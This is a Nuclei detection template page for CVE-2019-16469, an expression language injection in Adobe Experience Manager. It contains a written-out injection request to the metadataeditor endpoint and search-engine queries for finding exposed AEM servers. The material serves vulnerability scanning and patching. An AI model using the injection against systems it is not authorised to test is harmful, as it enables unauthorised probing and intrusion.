Adobe Experience Manager - Expression Language Injection

ID: CVE-2019-16469

Severity: high

Author: DomenicoVeneziano

Tags: cve,cve2019,aem,eli,csti,adobe

Description

Adobe Experience Manager versions 6.5, 6.4, 6.3, 6.2, 6.1, and 6.0 has an expression language injection vulnerability.

YAML Source

id: CVE-2019-16469

info:
  name: Adobe Experience Manager - Expression Language Injection
  author: DomenicoVeneziano
  severity: high
  description: |
    Adobe Experience Manager versions 6.5, 6.4, 6.3, 6.2, 6.1, and 6.0 has an expression language injection vulnerability.
  impact: |
    Successful exploitation could lead to sensitive information disclosure
  remediation: |
    To fix the vulnerability, it is necessary to update the Adobe AEM instance using the Service Pack 6.5.3.0
  reference:
    - https://nozero.io/en/cve-2019-16469-adobe-aem-expression-language-injection/
    - https://owasp.org/www-community/vulnerabilities/Expression_Language_Injection
    - https://nvd.nist.gov/vuln/detail/CVE-2019-16469
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-16469
    cwe-id: CWE-917
    epss-score: 0.15463
    epss-percentile: 0.959
    cpe: cpe:2.3:a:adobe:experience_manager:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: adobe
    product: experience_manager
    shodan-query:
      - http.component:"Adobe Experience Manager"
      - http.component:"adobe experience manager"
      - http.title:"aem sign in"
      - cpe:"cpe:2.3:a:adobe:experience_manager"
    fofa-query: title="aem sign in"
    google-query: intitle:"aem sign in"
  tags: cve,cve2019,aem,eli,csti,adobe
variables:
  num1: "{{rand_int(800000, 999999)}}"
  num2: "{{rand_int(800000, 999999)}}"
  result: "{{to_number(num1)*to_number(num2)}}"

http:
  - method: GET
    path:
      - '{{BaseURL}}/mnt/overlay/dam/gui/content/assets/metadataeditor.external.html?item=$%7b{{num1}}*{{num2}}%7d'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'data-formid="{{result}}"'
          - 'Embed Code'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502207876aea95a57d089bc3970c74fa3288e194f1c61b6977020e9c8335a9caa741f022100c4a4df2164924b0d05342af1c85ee8ac15845852a25001ccf2a59e72650e934a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-16469.yaml"

View on Github